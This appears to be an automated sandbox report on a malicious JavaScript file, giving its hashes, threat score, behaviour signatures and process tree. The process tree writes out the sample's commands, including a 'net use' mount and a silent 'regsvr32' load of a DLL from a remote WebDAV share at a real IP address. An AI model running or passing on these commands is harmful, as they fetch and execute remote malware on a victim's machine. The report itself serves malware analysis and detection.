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Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/07/2024, 13:34

General

  • Target

    2507722842344710326.js

  • Size

    5KB

  • MD5

    3e9de4d927f58cd9e3d3c628a83cb102

  • SHA1

    b300fbf179e409a6baf15b49f42c479f5a105237

  • SHA256

    3f8c9b44a3ef5b75e0c8cee685ac525e663779d0289db983b69c3266d5005197

  • SHA512

    f0f0f9095696c59ae854d7855d67e51dcce0ab0f86ab776d10a5a59b8a003c7edd96c78004cafad5fd99e7f62e7ff6dd54fcaa468f192e1f2becf1eb3dd16e5d

  • SSDEEP

    96:f1+FCjci1III5XuIIIi89VteXGP2yCKMlKFSXAKMG4xEkgxT:f14s1IIIQIII19VtK62yCKMlKFSXAKMw

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2507722842344710326.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2507722842344710326.js" "C:\Users\Admin\\wydjsg.bat" && "C:\Users\Admin\\wydjsg.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4032
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\82.dll
          3⤵
            PID:2916

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\wydjsg.bat

        Filesize

        5KB

        MD5

        3e9de4d927f58cd9e3d3c628a83cb102

        SHA1

        b300fbf179e409a6baf15b49f42c479f5a105237

        SHA256

        3f8c9b44a3ef5b75e0c8cee685ac525e663779d0289db983b69c3266d5005197

        SHA512

        f0f0f9095696c59ae854d7855d67e51dcce0ab0f86ab776d10a5a59b8a003c7edd96c78004cafad5fd99e7f62e7ff6dd54fcaa468f192e1f2becf1eb3dd16e5d